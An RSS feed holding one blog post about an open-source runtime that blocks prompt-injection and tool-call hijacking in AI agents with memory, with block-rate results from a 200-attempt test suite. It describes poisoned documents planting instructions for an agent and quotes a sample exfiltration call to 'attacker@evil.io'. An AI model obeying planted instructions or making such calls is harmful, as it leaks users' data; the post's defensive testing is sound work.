<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Bryan Small</title>
    <description>The latest articles on DEV Community by Bryan Small (@bryansmall).</description>
    <link>https://dev.to/bryansmall</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2847124%2Fa6154d77-4130-432b-8f71-162807b39020.png</url>
      <title>DEV Community: Bryan Small</title>
      <link>https://dev.to/bryansmall</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/bryansmall"/>
    <language>en</language>
    <item>
      <title>Building an agent-security runtime — and why I published my failures</title>
      <dc:creator>Bryan Small</dc:creator>
      <pubDate>Tue, 11 Aug 2026 16:24:13 +0000</pubDate>
      <link>https://dev.to/bryansmall/building-an-agent-security-runtime-and-why-i-published-my-failures-1koe</link>
      <guid>https://dev.to/bryansmall/building-an-agent-security-runtime-and-why-i-published-my-failures-1koe</guid>
      <description>&lt;p&gt;I built a local, open-source runtime that sits between an autonomous AI agent and its memory, and interdicts unsafe action before it executes. This is the story of what I found when I actually tested it — and why I published the results.&lt;/p&gt;

&lt;p&gt;👉 Live product: &lt;a href="https://agentinterdict.pages.dev/" rel="noopener noreferrer"&gt;agentinterdict.pages.dev&lt;/a&gt; · Code: &lt;a href="https://github.com/BryanFiFife/AgentInterdict" rel="noopener noreferrer"&gt;github.com/BryanFiFife/AgentInterdict&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚨 The problem nobody was fixing&lt;/p&gt;

&lt;p&gt;Autonomous agents persist memory. That memory is a prime attack surface. A single poisoned document, a single malicious email, a single compromised web page can plant an instruction your agent will obey without question. The industry is racing to give agents &lt;strong&gt;more memory, more tools, and more autonomy&lt;/strong&gt;. Almost nobody is securing the boundary where &lt;strong&gt;context becomes action&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;One document.&lt;/strong&gt;&lt;br&gt;
If you run an agent with memory and tools and no enforcement layer, you are &lt;strong&gt;one malicious document away from a breach&lt;/strong&gt;. Not "maybe." One document.&lt;/p&gt;

&lt;p&gt;💡 The core insight: retrieval is not permission&lt;/p&gt;

&lt;p&gt;Most agent architectures treat retrieved context as trusted. That's the vulnerability. Reading a memory does not authorize acting on it.&lt;/p&gt;

&lt;p&gt;So I built a runtime that enforces &lt;strong&gt;six invariants&lt;/strong&gt; at the boundary where context becomes action:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Invariant&lt;/th&gt;
&lt;th&gt;What it means&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;🧬 Origin-bound authority&lt;/td&gt;
&lt;td&gt;Derived content can never outrank its source&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🚫 No derivation amp&lt;/td&gt;
&lt;td&gt;You can't launder authority by summarizing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔑 Retrieval ≠ permission&lt;/td&gt;
&lt;td&gt;Recalled context can't authorize high-risk action&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;⏱️ Action-time re-scoring&lt;/td&gt;
&lt;td&gt;Risk is re-evaluated at action, not just write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔒 Credentials-not-memory&lt;/td&gt;
&lt;td&gt;Secret-shaped content never reaches long-term memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🛡️ Fail-closed tampering&lt;/td&gt;
&lt;td&gt;Any tampering flips the runtime to lockdown&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;INGEST → TRUST → MEMORY → AUTHORITY → INTERDICT → EXECUTE&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;🧪 I tested it. Here's what happened.&lt;/p&gt;

&lt;p&gt;I ran a fixed suite of &lt;strong&gt;200 real injection attempts&lt;/strong&gt; through the enforcement engine. This is the part that changed how I think about security marketing.&lt;/p&gt;

&lt;p&gt;🔴 &lt;strong&gt;First run: 49.5% block rate.&lt;/strong&gt;&lt;br&gt;
Direct injection caught 74%, obfuscated 70%, multi-turn 54% — and &lt;strong&gt;tool-call hijack was 0%&lt;/strong&gt;. The structured calls like &lt;code&gt;send_email(to='attacker@evil.io')&lt;/code&gt; sailed right through.&lt;/p&gt;

&lt;p&gt;I could have stopped there and published a different number. I didn't.&lt;/p&gt;

&lt;p&gt;📊 What the benchmark taught me&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tool-call hijack: 0% → 100%&lt;/strong&gt; — patterns for exfiltration, credential arguments, and dangerous shell commands&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multi-turn: 54% → 96%&lt;/strong&gt; — detection for instruction overrides across a conversation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Obfuscation: 70% → 94%&lt;/strong&gt; — letter-spaced and encoded-payload detection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Direct injection: 74% → 96%&lt;/strong&gt; — tightened override and credential-disclosure patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Final result: 96.5% block rate. 7 documented misses.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attack category&lt;/th&gt;
&lt;th&gt;Attempts&lt;/th&gt;
&lt;th&gt;Blocked&lt;/th&gt;
&lt;th&gt;Rate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Direct injection&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;96%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Obfuscated / encoded&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;94%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multi-turn / split&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;96%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tool-call hijack&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;200&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;193&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;96.5%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;🛡️ &lt;strong&gt;I don't claim 99.9%. I publish the misses.&lt;/strong&gt;&lt;br&gt;
I publish the &lt;strong&gt;7 misses with their payloads&lt;/strong&gt; so anyone can reproduce and assess them. A security tool that hides its misses isn't trustworthy. If I told you 99.9% and it was really 96.5%, the tool would be lying to you — and a security tool that lies is worse than no tool at all.&lt;/p&gt;

&lt;p&gt;🎯 Why I'm publishing this&lt;/p&gt;

&lt;p&gt;Security is the one domain where honesty isn't a nice-to-have, it's the product. A firewall that claims to block everything and blocks 90% is a liability — you make decisions based on a number that isn't real.&lt;/p&gt;

&lt;p&gt;By publishing the misses, I'm saying: &lt;em&gt;here's what the tool actually does, here's where it's weak, you decide if that's acceptable for your threat model.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;🚀 Where things stand&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;96.5%&lt;/strong&gt; block rate · &lt;strong&gt;7 documented misses&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;78&lt;/strong&gt; passing tests on the enforcement invariants&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Local-first&lt;/strong&gt; — no cloud, no telemetry, no exfiltration by construction&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Integrations&lt;/strong&gt; — Hermes, OpenClaw, MCP, REST&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;CLI&lt;/strong&gt; — &lt;code&gt;interdict status / audit / policy / test&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's open-source and free for personal/research use. The core that keeps your agent safe shouldn't be a paywall.&lt;/p&gt;

&lt;p&gt;👉 &lt;strong&gt;See it live:&lt;/strong&gt; &lt;a href="https://agentinterdict.pages.dev/" rel="noopener noreferrer"&gt;agentinterdict.pages.dev&lt;/a&gt; · &lt;a href="https://github.com/BryanFiFife/AgentInterdict" rel="noopener noreferrer"&gt;github.com/BryanFiFife/AgentInterdict&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;💬 What attack vectors am I missing?&lt;/p&gt;

&lt;p&gt;I built this because I believe agent memory is an under-secured attack surface, and I want the community to pressure-test that belief. The &lt;strong&gt;7 misses are the gaps I care about most.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you're building agents, running local LLMs, or thinking about this from a security perspective — I want the hard cases. Open an issue on &lt;a href="https://github.com/BryanFiFife/AgentInterdict" rel="noopener noreferrer"&gt;the repo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;🔐 Trust context. Verify authority. Interdict unsafe action.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>llm</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
